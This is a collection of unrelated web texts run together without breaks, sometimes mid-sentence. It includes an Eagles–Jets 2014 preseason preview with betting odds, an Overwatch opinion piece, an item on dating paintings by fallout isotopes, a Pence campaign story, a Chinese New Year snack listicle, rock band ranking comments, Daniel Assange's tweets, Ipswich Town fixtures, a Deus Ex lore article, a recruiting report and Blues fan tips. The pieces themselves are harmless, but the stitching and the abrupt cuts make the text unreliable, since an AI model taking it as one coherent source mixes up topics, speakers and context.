Location: Philadelphia, Pennsylvania - Lincoln Financial Field
NFL Network replay: Saturday, August 30th, 2014 at 4:00 p.m. EST
Online Streaming
NFL Preseason Live (Use promo code DIRECTV to drop the price by 25%)
Sirius 88 (Internet 823)
Local radio: 94 WIP
Odds
Per Bovada, the Eagles are the favorites.
Philadelphia Eagles -3 (EVEN)
New York Jets +3 (-120)
History Lesson
This will be the 34th meeting between the Eagles and Jets in the preseason since 1975. New York owns the preseason series lead with a record of 21-12. This is the 14th consecutive meeting in the preseason.
The Eagles literally own the Jets in the regular season with a 9-0 record against New York. The Eagles are the only franchise the Jets have never defeated in the NFL regular season. The teams last met in the regular season in 2011.
Game Coverage
Bleeding Green Nation's complete coverage of the game can be found here.
More: Jets vs Eagles coverage
Opponents View
Check out Gang Green Nation for the Jets perspective on Thursday's game.
Fun Facts
Eagles quarterback Mark Sanchez was drafted in the first round (fifth overall) of the 2009 NFL Draft by the Jets. He played for the team from 2009-2013. Sanchez led the team to AFC Championship games.
Eagles wide receiver Brad Smith played five seasons in New York after being drafted in the fourth round of the 2006 NFL Draft.
Eagles quarterback G.J. Kinne spent part of the 2012 offseason with the Jets.
Thursday will mark Matt Barkley's first career start in the NFL.
There are no former Oregon players on the Jets roster. Louisville and Wake Forest are the most-represented schools on the Jets roster with four players each. Adding those two alma maters together would still be less than the most prominent college team represented on the Eagles roster, Oregon. There are nine former Ducks on Philadelphia's roster.
Jets defensive lineman Muhammad Wilkerson played his college football at Temple.
Former Eagles on the Other Sideline
QB Michael Vick (2009-2013)
WR Greg Salas (2012)
DE Jason Babin (2009, 2011-2012)
S Jaiquawn Jarrett (2011-2012)
CB Dimitri Patterson (2009-2010)
OLB Antwan Barnes (2010)
DE Tevita Finau (2012 off-season)
Players to Watch on the Other Sideline
QB Matt Simms
QB Tajh Boyd
WR Quincy Enunwa
OLB Trevor Reilly
S Calvin Pryor
PDF: $10
Paperback: $25It's been quite a long time since we introduced Blizzard's new MMO Overwatch to you guys. Its first appearance at BlizzCon 2014 just wowed every audience there. Can it be another tag of Blizzard just like Warcraft or Diablo? I think Blizzard won't be satisfied with owning only 3 famous game series in the future, and Overwatch is the key.
"It wasn't just the fact that Blizzard's newly-announced Overwatch represents a new universe and game idea from a company that's become known for its painstaking work on a few mega-franchises.It's that Overwatch itself is a complete departure from everything Blizzard has done before." Redbull said.
Overwatch shows Blizzard's big ambition in the area of FPS even in the area of eSports, but whether it can be accepted by those picky eSports audience and FPS fans, win a place in this market, it needs to be tested. Some of our MMOsiters figure that is just a copy of TF2...But I think it's definitely not a TF2 clone, because it has some elements of MOBA, but built into a shooter game, this kind of MOBA mode makes it more easy and relaxing for players. Nowadays everyone want to have a finger in the pie of MOBA, Overwatch's mixed style may be fresh to players.
According to the CG trailer, we can even smell some Disney elements in it - it's quite different from Blizzard's traditional style - but looks great. Good graphics may make it stand out from those dark and bloody FPS games soon, but graphics alone won't make a great game, gameplay of Overwatch is the only way to make it be known in eSports.
And our readers also mentioned some new games like Overwatch, for example, Master X Master. Master X Master benefits from its Blade and Soul or other NCsoft games fan base, in contrast, Overwatch is a brand new game and there's no piece of famous ***craft or Diablo, without the strong fan base of Blizzard's old games, it's harder for Overwatch to capture players' heart. But compare NCsoft and Blizzard's earlier games, I think NCsoft may pay more attention to its graphics - always goodlooking; and Blizzard's gameplay is more worth expecting. Not a hater of NCsoft :(
So, let's talk about the gameplay of Overwatch in detail. Every successful eSports game must focus on its gaming balance. While each LOL new champion arrives summoner's rift for the first time, most of them may be too powerful and nearly destroy the balance of the game...all Riot will do with the problem is just to weaken them. Overwatch has 4 roles for players to choose: defense,offense,tank,and support. According to Overwatch live demo at BlizzCon, the offense position is too powerful, and makes tank nothing. What's more, since offense is so powerful that most players tend to play Tracer(a offence hero) rather than Symmetra(a support hero). I think Blizzard need to take times to fix the balance problem(but think back to Blizzard's mage...)
Some fan of Overwatch even find that there will be more than just 12 heroes in this game!-reddit
Besides, a successful eSports game needs passion, it must inspire players and audience. How to arouse their fervor and capture their hearts, is what Blizzard need to consider about. But with rich and successful experience of ***craft eSports, Overwatch may go even further than we imagine.A Russian curator says she's developed a foolproof method of determining whether a piece of art was made before or after 1945 as a way of sniffing out fake paintings.
Elena Basner told The Art Newspaper that she has developed a method in collaboration with Russian scientists based on the idea that man-made nuclear explosions from the 1940s to 1960s released isotopes into the environment.
These isotopes, Caesium-137 and Strontium-90, permeated the earth's soil and plant life and ended up in works of art made in the post-war era because natural oils, usually flax/linseed, were used as binding agents for paints.
"I wanted to find something ironclad … that couldn't be disputed, and this led me to approach scientists for ideas," said Basner.
More than 500 nuclear explosions since 1945
Basner, who now works as a consultant, says she developed the testing technique while working as curator of 20th-century art at the Russian Museum from 1978 to 2003.
"The number of avant-garde fakes out there today is unbelievable, probably more than the number of genuine works," says Basner.
She says she needed to authenticate Russian works dating from 1900 to 1930 and that's what led her and the scientists to examine the nuclear isotope idea.
The first nuclear explosion took place in July 1945 in the U.S. and from then until 1963 more than 500 were carried out by various countries.
Flax fields absorbed the isotopes from nuclear fallout, resulting in traces of the isotopes in natural oils used in paints.
At the very least works known to have been produced prior to 1945 can be authenticated because they won't have any traces of the two isotopes.Donald Trump‘s Christian Conservative running mate Mike Pence has had a wrenching few days waiting and watching and disavowing Trump’s sex-ridden audio from 2005.
On Sunday night there were rumors swirling that Pence may walk off the ticket.
During the debate, Trump blatantly threw Pence under the bus on how best to deal with U.S. strategy in Syria. Pence, who was a member of the Foreign Relations Committee, said the nation should seriously consider using air strikes against President Bashar Asaad‘s regime.
Trump flat out disagreed. (RELATED: Trump Openly Disagrees With Pence On Stage)
Pence didn’t tweet during the entire debate.
The Atlantic‘s editor-at-large Steve Clemons came out with this explosive rumor during the debate.
Despite the rumors, Pence broke his Twitter silence post debate.
WaPo‘s Philip Rucker revealed this on Saturday.
According to the IndyStar, Pence is “sticking with Trump in public” but “in private he is holding his options open.” Sources told the newspaper that Pence is “feeling low and concerned but soldiering on.”
Pence’s reaction to Trump’s Access Hollywood hot mic commentary was as follows:
“As a husband and father, I was offended by the words and actions described by Donald Trump the eleven-year-old video released yesterday,” he said in a statement. “I do not condone his remarks and cannot defend them. I am grateful that he has expressed remorse and apologized to the American people. We pray for his family and look forward to the opportunity he has to show what is in his heart when he goes before the nation tomorrow night.”This situation. (Image: breadetbutter.wordpress.com)
And then this situation... Image: ABC.go.com
Don't lie, you've tried every single cookie on this plate. (Image: vkeong.com)
All day err'day.
#1 Pineapple Tarts
#2 Kuih Kapit a.k.a Love Letters
Image: breadetbutter.wordpress.com
Image: TheStar.com
#3 Ear Biscuits
Image: openrice.com
#4 Dried Shrimp Rolls
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#5 Bak Kwa
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#6 Kuih Bahulu
#7 Peanut Cookies
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#8 Kuih Bangkit (Tapioca Cookies)
Image: sugareverythingnice.blogspot.my
#9 Ribbon Cookies
Image: (R) lilyng2000.blogspot.com
#10 Honeycomb Cookie/Beehive Cookie/Kuih Rose/Kuih Loyang/Achu Muruku/Achappam/Rosette/Kueh Lobang
Image: lengskitchen.blogspot.com
Image: By Jonathunder - Own work, CC BY-SA 3.0
#11 Sachima
Image: Gelgoogm.com
#12 Ngaku Chips
phonghongbakes.blogspot.com
* one bowl of rice is about 220 calories
It’s that time of the year. Your empty coffee table in the hall now holds a red table runner. The next day, there’s a basket and a bunch of oranges. Then you find cartons of Carlsberg and Jolly Shandy lying around the house for consumption and re-sale, because someone always knows a guy who can get it for cheap. And then you start to see assorted tidbit containers with a red top.For the people in our audience celebrating Chinese New Year, you know it’s that time of the year when you can constantly find packet drinks and canned drinks in the fridge, the snack table is constantly stocked, and your house turns into aat least once.It’s a magical time when your wallet magically expands and then rapidly shrinks after Day Two (or expands if you’re lucky). All your life decisions are scrutinised by family members you haven’t seen in months and you invariably get asked two questions: When you getting married and when you having a baby?Good times. Another thing that happens without fail is that your jeans get tighter. And the cause of this isn’t just the |
Swan Songs, on September 2, 2008, and their live CD/DVD Desperate Measures, on November 10, 2009. Their second studio album, American Tragedy, was released April 5, 2011. All of...read more. 39 I don't know how they aren't top 20 but hey. This is one of the best bands by far in my opinion. They are if not just as, almost as good as slipknot, linkin park, or even bullet for my valentine. Either way HU4L. I listen to them all the time. They are also hilarious in interviews and in person. Don't even compare this with Slipknot this band is so bad it makes want to rip my ears off! - Demogorgan I don't see how people can see nostalgia in music with songs like Street Dreams, Sell
Your Soul, City, etc, etc Hollywood undead is the best band right now Yes - Lolboi V 43 Comments
Alice In Chains Alice in Chains is an American rock band formed in Seattle, Washington, in 1987 by guitarist and songwriter Jerry Cantrell and original lead vocalist Layne Staley. 40 We live in a commercial-saturated, consumerist society hell today. If, like me, that causes you a lot of alienation and does not resonate with your own reality, then you need to have this music in your life. If you are suffering and all of the T.V. and youth pop culture, the disconnect between people, rampant materialism and empty, peppy brainwashing everywhere telling you everything's okay when you don't feel it is is making your fear and pain worse, then you absolutely need Alice in Chains' "Jar of Flies" album.
If anything else, it will really make you feel that there is someone who understands, and it will sooth you with its mellow beauty. It doesn't matter what the exact nature of the pain in your life is... These guys and Layne lived through hurt and understood it, and you can really hear it in the music. They excelled in both acoustic and hard rock and metal, with a sound all their own that... Well, you just need to hear it. So if you think you like those things, please-...more This has to be the most inaccurate, crappy list I've seen yet. There has to be an over-abundance of 13 year old girls voting. Girls, how "cool" a band is. Or how black they can dye the ratty, unbrushed, product-saturated hair. Or how cute the bassist is, HAS NOTHING TO DO WITH MUSIC. (Please. Take a Sharpie, write that down backwards on your forehead and go look in the mirror. )
30 Seconds to Mars, Avenged Sevenfold, Evanescence, My Chemical Romance, Muse, ahead of Alice In Chains, Cream, Rolling Stones, Radiohead? My God, this list has "Keane" ahead of Nirvana! PEOPLE: If you have Rhianna, Miriah Carey, Nelli Fertado, Akon, Miley Cirus or 30 Seconds to Mars in your CD collection, please, do not vote. You don't have a clue what "rock" music is. Just go what your Gilmore Girls reruns and forget your were here.
Keane and Fall Out Boy ahead of Foo Fighters. How pathetic...
- corebare32 There are a quite a few reasons why Alice In Chains should be higher than just 44th. Their names happen to be Jerry Cantrell, Layne Staley, Sean Kinney, Mike Starr, Mike Inez, and William Duvall. If you listen to Facelift and The Devil Put Dinosaurs Here back-to-back, you'll notice that the guitar, lyrics, and sound is just as strong.
Jerry Cantrell, the mastermind behind all of the guitar parts & most of the lyrics, makes it a joy to hear the quick and yet dense solo sandwiched by the best voice in rock -- ever.
Layne Staley. The soul of the group, before and after his death. Listen to "Nutshell" and tell me you can hear that potent sound of desperation and sorrow. And despite his passing (RIP), William Duvall has done a great job of filling that hole. The entirety of Black Gives Way to Blue proves it.
Mike Starr had an undeniable talent for the bass, from the intro to "Rain When I Die", to the wonderful end of "Would? "....more Should be on top 10 list. They deserve better. V 77 Comments
The Velvet Underground The Velvet Underground was an American rock band, active between 1964 and 1973, formed in New York City. 41 136?
That's pretty funny, considering that about 130 bands rated ahead of them never would have existed if it weren't for the Velvet Underground. What's the Velvet Underground doing down here? They set the pavement for the punk genre, wrote probably the most prophetic album ever and sang about things that N.W. A would be singing decades later and you give 149. Best rock band next to the Beatles. Why are they so low. They're about one hundred times better than zed leppelin or any of the other bands on this list. Lou's vocals and guitar work along with John Cale's experimental genius is essential to all music that came after it. They influenced leigons after scoring no hits and no albums that cracked the top 100. As Brian Eno said: "only about 1000 people bought velvet underground records, but everyone of them formed a band." RIP Lou Reed and Sterling Morrison I have to believe that VU is only this low because most VU fans are too cool to vote on lists. V 18 Comments
Red Red is an American rock band from Nashville, Tennessee, formed in 2002 by brothers guitarist Anthony Armstrong and bassist Randy Armstrong, with lead vocalist Michael Barnes. 42 Red is truly an amazing band. They have a very distinct hard rock / metal sound that stands out from the crowd. Their vocalist, Mike Barnes, is truly amazing, and combined with the unique guitar riffs, and strings, Red songs are truly masterpieces. Red songs really stand out due to the strings used alongside the hard rocking' instruments. If you haven't heard Red, you DEFINITELY should. Their work is truly outstanding, they know how to make music. They are one of the few bands that can make albums in which ALL of their songs are amazing. Ihey would be higher on the list if they were more popular... There is so much more I can say about how good this band is, but the best way to show you would to say to listen to their music. It's so amazing, I think that this band deserves much higher up on the list Red behind the JONAS BROTHERS?!?! If I hadn't already lost faith in humanity, it's completely gone now... - MusicAddict1993 Red is by far the best rock band in existence. Their lyrics are deep and meaningful (one of the few bands that has successfully made me cry), the music is complex and haunting, and at the same time they pull off some of the most intense/heavy music I've ever heard. Modern metal fans can't hear Red and not like them. Not to mention they're just good, nice guys.
Thanks for making my day every day, Red! RED should be easily higher than 60 V 16 Comments
My Chemical Romance My Chemical Romance was an American rock band from Jersey City, New Jersey, active from 2001 to 2013. For much of their career, the band consisted of lead vocalist Gerard Way, guitarists Ray Toro and Frank Iero, bassist Mikey Way, and drummer Bob Bryar. 43 They have beautiful personality! Through their music, they save lives!
They have the coolest fan base than any other co-fans I know.
Come on people! My Chemical Romance number 21 that's just not fair! They are inspirational, amazing and just well amazing! They have songs that people can really relate to and connect. They are life savers and everyone should recognize them for the true heroes they really are. The MCRmy are behind you all the way, keep running and we'll stay ugly.
Proud Member Of the MCRmy Xxx My Chemical Romance was perfect! They all are amazing! Love them to death THey win V 350 Comments
Judas Priest Judas Priest are a British heavy metal band that formed in Birmingham, England, in 1969. They are often referred to as one of the greatest metal bands of all time, and are even commonly called “The Metal Gods”, after one of the songs on their 1980 album “British Steel”....read more. 44 They are able to go from very Queen-ish, piano songs like Epitaph to very aggressive, fast metal songs like Painkiller.
They are one of not only metal's biggest influences, but rock in general, having influenced countless of great bands such as Metallica, Megadeth, Van Halen, Iron Maiden, Slayer, the list goes on and on, not to mention they were the ones to bring the leather look into heavy metal.
They have 16 albums out right now (17th is gonna be released very soon), and STILL going strong after 40 years! Name another band that has done such thing, and although they may have had some average points in their career (Turbo, Demolition), they managed to come back with a killing blow.
Their 70s were probably their best years, having released 3 masterpieces during only a 3 year span (Sad Wings, Stained Class and Sin After Sin) which have beautiful songs with amazing melodies and harmonies, as well as very aggressive songs (Dissident Aggressor for example, an...more The original creators of Metal are so low? Sure Black Sabbath created Metal but JP took it and refined it into something more... Sorry but the Metal Gods definitely deserve to be # 1 They are the greatest Metal band ever existed. The most influential, the best voice, and the best guitarists team. Best band ever V 32 Comments
The Clash The Clash were an English punk rock band that formed in 1976 as part of the original wave of British punk. 45 It has to be The Clash. I love Led Zeppelin and Queen, but The Clash... Imagine a 19 years old Spanish student in 2005 that hears them for the first time and feels related to what they sing: social problems, the anger,... That was the day I started my musical re-education and I never looked back. It has to be The Clash. - Esteluki One of the greatest bands ever. No wonder they have so many immitators, even today. Iconic sound and energetic live performances. Incoroporated a wide range of styles into their music from reggae to funk. Listen to songs as diverse as "Train in Vain", "Rock the Casbah", "Brand New Cadillac", "What's my Name", "White Man", "Lost in the Supermarket". If you don't know the Clash, buy a copy of 'London Calling' today. 117 that's pathetic for the clash were intelligent and mainstreemed the punk sound along with the sex pistols how dare they be this far down Wow. Very underrated V 30 Comments
Def Leppard Def Leppard are an English rock band formed in 1977 in Sheffield as part of the new wave of British heavy metal movement. 46 def leppard is the best band ever. even after their drummer lost his hand they can still produce many great songs. - izzat127 Sorry to say this, I saw def leppard a few months ago and it was awful, they were just bad musically - Awesomenunny Definitely Leppard is number 72? No. They should be top 10. Even after all of the disaster that has gone on with this band, they are still kickin it, they are still amazing. Think about it. Rick Allen, their drummer, has one arm. Not many drummers have one arm. Vivian Campbell, a guitarist, has cancer. Rick Savage, bass, went through Bell's Palsy. Steve Clark was an alcoholic. Should I continue? You would think that after all of this, they would have broken up by now. But no. definitely Leppard inspires me to never quit because something happens. These guys are amazing musicians, and deserve to be number one. Long Live definitely Leppard! - defleppard4ever The best rock band forever... They know how to bring it - ccontente Another top 10 band forgotten for some stupid reasons...To have Nirvana high on the list with so few albums because the singer was a victim of a cover up suicide is just travesty period. Green Day is way over rated for some reason... Should go by total record sales and live show receipts in my opinion... V 92 Comments
Megadeth Megadeth is an American thrash metal band from Los Angeles, California. Megadeth was formed in 1983 by guitarist Dave Mustaine and bassist David Ellefson, shortly after Mustaine was fired from Metallica. They have released 15 studio albums to date, and have gone through many lineup changes, with Dave...read more. 47 thrashy riffs by dave marty's orgasmic solos! defines Megadeth! Rust in peace is probably the best structured piece of metal in the world! they are the real metal gods Greatest metal band ever they are not like other bands that have changed their music style after 20 years like other bands they haven't changed since 1983 and that's a very good thing they deserve to be in the rock and roll hall of fame. 67?! Should be at least top 10, But actually 1 come on ITS BEST. Dave mustaine is man who made what metal is nowadays. I know over 70 songs. That's how much I like them. About 65 of them I like. V 72 Comments
Disturbed Disturbed is an American nu metal/ alternative rock/ alternative metal band from Chicago, Illinois. The band comprises vocalist David Draiman, bassist John Moyer, guitarist Dan Donegan, and drummer Mike Wengren. They are known for songs like "Down With the Sickness" and "Stricken". 48 pretty good sound, when you just wanna let loose and be a bit more into the Metal. Disturbed is the greatest band that there was, is, and ever will be! Listen to Indestructible and Asylum, and you too, will be a believer. I have never listened to any band more than this one in my entire life. Why? Because no one is better, and no one will ever be better, than Disturbed! We Are.. DISTURBED! We Are.. DISTURBED! We Are DISTURBED! WE ALL ARE... DISTURBED! Down with the sickness all the way! - Killerontheloose89 All of their albums are amazing, very great band. What else is there to say? They are one of my favorite rock bands in my book. V 57 Comments
Bullet for My Valentine Bullet for My Valentine are a Welsh metalcore/emo band from Bridgend, formed in 1998. The band is composed of Matthew Tuck (lead vocals, rhythm guitar), Michael Paget (lead guitar, backing vocals), Michael Thomas (drums) and Jamie Mathias (bass guitar). Former members include Nick Crandle and Jason...read more. 49 Bullet for my valentine is the best
They are number one in the world they deserve to be in top ten list I just love them their tears don't fall is a great song "BULLET FOR MY VALENTINE" is my favorite band,
So much difficult to play guitar @ drums on their songs at such a high speed
I love to play their songs on my guitar... This band be in top 10 bands,
I think they are much much better than Metallica, linkin park & other bands,
What a band, catchy and brutal. they have got it all. I have yet to be disapointed by a song from these guys. The fact that this band made the top 50 is beyond my comprehension. It's just the most generic, below average metalcore that could possibly exist. - Pagepage21 V 43 CommentsThis article is from the archive of our partner.
We don't know how we missed the fact that Julian Assange has a 20-year-old son, Daniel, living in Australia. Of course, there has been a lot to keep track of in Assange news of late. We recently browsed through Daniel Assange's public Twitter profile to see what--if anything--he had to say about the controversies surrounding his famous father. Daniel Assange, it turns out, has put up a couple observations about the elder Assange, celebrated the granting of bail, and talked about what it's like to be at a WikiLeaks-related rally seeing your family name up on a sign. He also, of course, tosses in tweets about his day, like any other Twitter user. A sampling of some of the more revelatory posts:
Father declared me a sociopath, mother thinks I'm a monster and this romantic situation is oh-so-very-uncomfortable. #TweetYour16YearOldSelf Daniel Assange
somnidea
Went past the Free Assange rally today on my way to UoM. Didn't stay long for fear of being recognised, but still a very surreal experience. Daniel Assange
somnidea
Not necessarily unpleasant, mind, it's just somewhat odd to view crowds brandishing signs inscribed with the names of one's family members. Daniel Assange
somnidea
Something I wrote about my father in 2006. Seems a rather trite understatement now. Daniel Assange
somnidea
"I think he just has a tendency to follow the path of highest resistance, simply for the sake of defiance." Daniel Assange
somnidea
They got ages wrong again too. Father and mother were 18 & 17 respectively at time of my birth. Can't you people do arithmetic? Daniel Assange
somnidea
Bail granted! http://bit.ly/fA37Lf Under some rather harsh conditions, of course, but still good news. #wikileaks Daniel Assange
somnidea
Gah, I've accomplished nothing this weekend. Played a tiny bit of Pokémon Ranger and spent the rest reading about #cablegate. x.x Daniel Assange
somnidea
This article is from the archive of our partner The Wire.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.Ipswich Town Fixtures 2014-15
Wednesday, 18th Jun 2014 09:00 Town's fixtures for the 2014-15 season in full.
09/08/2014 17:15 Ipswich Town v Fulham
12/08/2014 19:45 Crawley v Ipswich Town COC
16/08/2014 15:00 Reading v Ipswich Town
19/08/2014 19:45 Birmingham City v Ipswich Town
23/08/2014 15:00 Ipswich Town v Norwich City
30/08/2014 15:00 Derby County v Ipswich Town
13/09/2014 15:00 Ipswich Town v Millwall
16/09/2014 19:45 Ipswich Town v Brighton
20/09/2014 15:00 Wigan Athletic v Ipswich Town
27/09/2014 15:00 Ipswich Town v Rotherham United
30/09/2014 19:45 Sheffield Wednesday v Ipswich Town
04/10/2014 15:00 Nottingham Forest v Ipswich Town
18/10/2014 15:00 Ipswich Town v Blackburn Rovers
21/10/2014 19:45 Cardiff City v Ipswich Town
25/10/2014 15:00 Ipswich Town v Huddersfield Town
01/11/2014 15:00 Blackpool v Ipswich Town
04/11/2014 19:45 Ipswich Town v Wolverhampton
08/11/2014 15:00 Ipswich Town v Watford
22/11/2014 15:00 A.F.C. Bournemouth v Ipswich Town
29/11/2014 15:00 Charlton Athletic v Ipswich Town
06/12/2014 15:00 Ipswich Town v Leeds United
13/12/2014 15:00 Bolton Wanderers v Ipswich Town
20/12/2014 15:00 Ipswich Town v Middlesbrough
26/12/2014 15:00 Brentford v Ipswich Town
28/12/2014 15:00 Ipswich Town v Charlton Athletic
10/01/2015 15:00 Ipswich Town v Derby County
17/01/2015 15:00 Millwall v Ipswich Town
24/01/2015 15:00 Brighton v Ipswich Town
31/01/2015 15:00 Ipswich Town v Wigan Athletic
07/02/2015 15:00 Rotherham United v Ipswich Town
10/02/2015 19:45 Ipswich Town v Sheffield Wednesday
14/02/2015 15:00 Fulham v Ipswich Town
21/02/2015 15:00 Ipswich Town v Reading
24/02/2015 19:45 Ipswich Town v Birmingham City
28/02/2015 15:00 Norwich City v Ipswich Town
03/03/2015 19:45 Leeds United v Ipswich Town
07/03/2015 15:00 Ipswich Town v Brentford
14/03/2015 15:00 Middlesbrough v Ipswich Town
17/03/2015 19:45 Ipswich Town v Bolton Wanderers
21/03/2015 15:00 Watford v Ipswich Town
04/04/2015 15:00 Ipswich Town v A.F.C. Bournemouth
06/04/2015 15:00 Huddersfield Town v Ipswich Town
11/04/2015 15:00 Ipswich Town v Blackpool
14/04/2015 19:45 Ipswich Town v Cardiff City
18/04/2015 15:00 Wolverhampton v Ipswich Town
25/04/2015 15:00 Ipswich Town v Nottingham Forest
02/05/2015 15:00 Blackburn Rovers v Ipswich Town
Play Football, Lose Weight
Ipswich places available now. Save 50% of your registration fee by clicking here, and we'll donate £5 to Prostate Cancer UK.
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ian_marshall added 09:04 - Jun 18
The norwich game on a sat? This will be moved do we reckon? 2
CavendishBlue added 09:05 - Jun 18
Blimey!!!! We play everybody home and away in the season....revolutionary!!! 2
TractorCam added 09:24 - Jun 18
Tough start, but get them teams out the way first. BRING IT ON 1
gibbo added 09:34 - Jun 18
We always seem to get a relegated team up first. 0
zumthor added 09:38 - Jun 18
looks like mid table again this season -2
SouperJim added 09:47 - Jun 18
zumthor you can tell that by looking at the fixture list? 1
Ipswich_Loyal added 09:47 - Jun 18
Anyone know whether the game against sc*m on the 23rd will get moved? Usually it would be moved to Sunday but it's bank holiday weekend!? Taking my old chap to Edgbaston to the cricket that Saturday so I'm praying it's moved!!! 0
tractordownsouth added 10:01 - Jun 18
Yesss. I am in Ipswich at the end of August for Norwich game. Never been to a derby! Get in! 0
CornardBlue added 10:45 - Jun 18
Why do we always seem to have an away fixture every Boxing day. 4
zumthor added 11:05 - Jun 18
@cornardblue It's a Suffolk Police Christmas holiday. -2
ipswich4life added 11:07 - Jun 18
Tough end to the season,let's hope we clinched the title by april 14th lol 0
itfc94 added 11:50 - Jun 18
I like the look of the first month. A real challenge and tester to see where we are in terms of foundations from last season. I think the team will be buzzing to have Norwich in the first month!
Come on Town, massive expectations and optimism this year! 1
Blue041273 added 12:27 - Jun 18
Tough start. If we up there in the competitive positions come the end of August we can be quite upbeat about the prospects for the months ahead, alternatively the winter might be looking to be a long one. The end of season fixtures look tough also. At this time of year it would seem that the perceived hard games are coming in clusters. 10 midweek games, 6 of them at home, and no game on New Years Day, presumably because the FA Cup R3 is on 03 Jan. 0
RIPbobby added 13:24 - Jun 18
It looks like an expensive unbalanced season to me. August is expensive with 4 away games and only 2 at home, with April the reverse hence 4 at home and 2 away. I would imagine people finances will be hammered in both of those. Lots of people would have preferred 3 home and 3 away in those months. Once again a rubbish boxing day game, with limited underground it will possibly be tricky getting to and from the game. Other than that not much to say really apart from Norwich and Fulham will probably have players playing that will be playing for a sale as they are both pre-transfer window closure. May be a good thing and may not. 0
martleshamitfc added 13:37 - Jun 18
Looking at the fixtures there are a lot of very good teams in the championship next season, no easy games! but that will make it very competitive league with teams all beating each other. 2
masetheace added 15:39 - Jun 18
Definitely a tough start. Hope MM manages to get a full squad together in time for the start of the season or we could be playing catch up again. 1
WaffleMan added 15:52 - Jun 18
No easy game next year 1
brendanh added 16:25 - Jun 18
Does anyone have a link to where I can download a calendar file of these fixtures? 0
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You need to login in order to post your commentsDeus Ex: Mankind Divided is our latest cover story, and the Human Revolution sequel explores what Eidos Montrel dubs "the mechanical apartheid." The studio says that players can go into the game without any prior knowledge of the series. That may be, but it never hurts to have a little background knowledge. Today, we're going to explore what's at the core of the game's central conflict – augmentations.
The term (often shortened to "augs") are used to describe a wide array of technologically advanced implants in Deus Ex’s world. Their use is also quite polarizing. Knowing that, why on earth would anyone undergo such risky operations? The explanation is complicated and tragic.
During Human Revolution’s story, Adam Jensen worked for a company called Sarif Industries, which was on the forefront of manufacturing these sophisticated Augmentations. If you played it, you might recall incidental conversations between NPCs discussing the augs. In one, a business professional remarks to another that he’s tired of getting passed up for promotions, and that he’s considering a neural upgrade to make himself more competitive. Other upgrades are more overt, such as the limb replacements Jensen received following a terrorist attack.
These augs became yet another sign of the haves versus the have-nots, particularly in cases where the wealthy indulged in completely optional (and expensive) upgrades. But that’s not the entire story. Many of the first wave of aug recipients were wounded military veterans returning home from battle. These augmentations, which included limb replacements and more, were given government stipends to help subsidize the treatments. Others took advantage of incentives that took advantage of the augmented, too.
“Sariff Industries had a plan that you could get augmented, but it’s almost like indentured servitude at that point,” says Mary DeMarle, Deus Ex’s narrative director. Afterward, some recipients realized that these implants gave them an advantage over their biologically pure counterparts. “We were having this new class emerge and they were getting more wealthy because they could do the jobs.”
That changed in the aug incident, where augmented people were temporarily hijacked to participate in acts of terrorism. You can read more about that incident, as well as the Illuminati’s part in the disaster here. Afterward, augmented people were seen as dangerous and were routinely rounded up and forced to live in prison camps, such as the one in Prague where Mankind Divided's early moments are set.
“A lot of people in there were people who had no choice or they were correcting a defect,” DeMarle says. “They weren’t trying to become superhuman, they were just trying to live their lives. Those are some of the worst tragedies in this kind of a universe. Here are people who had to have a heart replacement, and suddenly the aug incident happens. Maybe they actually went crazy and did stuff that they can’t necessarily live with themselves today. Maybe they were lucky and that didn’t happen, but because they had this life-saving surgery, they’re being forced to be outcasts and shunned.
“Some of the people in there, too, are not augmented. Okay, say I was married [to an augmented person], and he’s being sent there. I’m going to go with him. It isn’t just the augmented, but even with that it adds an interesting layer. The augmented who are there may also look upon their spouses as, ‘You don’t understand this.’”
It's unsettling to think that so many of the people who became augmented didn't have a say in the matter, whether they were in car accidents, injured during a war, or were born with congenital conditions. There are millions of augmented people in Deus Ex's world, but they're less than 10 percent of the total population. Will Jensen be able to give those people a voice? Do they actually deserve one, considering the aug incident? The truth may be complicated, but you can be sure that Jensen will do his best to uncover it.
Visit our Deus Ex hub page throughout the month for exclusive video interviews with the team, bonus features, a special-edition podcast, and more.Mililani High School (Hawaii) running back Vavae Malepeai isn't your typical three-star prospect.
The 6-foot-0, 190-pound playmaker helped his high school footbal team to a state championship, while rushing for 1,337 yards (6.0 yards per carry) and 24 touchdowns as a junior. But it's his off-the-field options that separate Hawaii's top class of 2016 skill position player from other three-star recruits.
Since a red-hot camp circuit, Malepeai has become one of the most heavily recruited running backs on the West Coast, registering scholarship offers from Cal, Colorado, Michigan, Mississippi, Nebraska, Oregon, Oregon State, Stanford, UCLA, USC, Washington and others.
However, the Ducks appear to have separated themselves from the pack, as Malepeai indicated that he is considering a commitment during this weekend's unofficial visit to Oregon at The Opening regional camp in Eugene.
"I would say it's 50-50," he said.
If Malepeai were to commit, he would become the fourth family member to compete for Oregon football, joining three of his uncles who played in the 1990's and still have connections with the coaching staff.
"Coach Greatwood was (my uncle's) coach, so they knew I got offered before I did," he explained.
Malepeai's interest in a future in Eugene isn't based solely on a family connection. The running back is also intrigued by Hawaii's connection to Oregon.
"It's obviously a good education and a strong network of people that you get to be around," he said. "I think the pipeline from Hawaii to Oregon is strong as well. Those are big factors to me."
Like many young athletes in Hawaii, the recent success of Heisman Trophy-winning quarterback Marcus Mariota has only increased Malepeai's interest in continuing to build upon that pipeline.
"Marcus is an inspiration, not only to me, but to all the athletes that live down here," he said. "He's a role model to all young athletes down here, all Polynesian kids."
If a commitment doesn't materialize, Malepeai said Oregon, Washington, Stanford, USC and Nebraska are just a few of the schools that will make his cut down to a top ten "sometime next week."
Of course, that list may not ever materialize if one the West's top running backs is blown away by his unofficial visit to Eugene this weekend.
-- Andrew Nemec
anemec@oregonian.com
@AndrewNemec1 Learn who the Blues are.
2 Some favorite veterans include: #7 Keith Tkachuk, #4 Eric Brewer, #9 Paul Kariya, Manny Legace, and #5 Barret Jackman.
3 Some great young players include: #, #22 Kevin Shattenkirk,#27 Alex Pietrangelo,#47 David Perron, #42 David Backes, #21 Patrick Berglund, #25 Chris Stewart
4 Know some of the greatest players in Blues history such as Brett Hull, Al MacInnis,Red Berenson, who holds the record for most goals on the road,current Blues on ice analyst Bernie Federko, and be reminded that Wayne Gretzky, Dale Hawerchuk, Scott Stevens, Jacques Plante, and many more played for the Blue and Gold.
5 Buy a jersey. Or a hat. Or a shirt. Or a bumper sticker. Let people know you are a fan and support the Blue Revolution.
6 Go to a game. Wear Blue. Cheer. The predominant chant is three horn blasts followed by yelling, "Let's Go Blues". "Detroit Sucks" is also an accepted chant, because the Blues have a rivalry with the Red Wings.
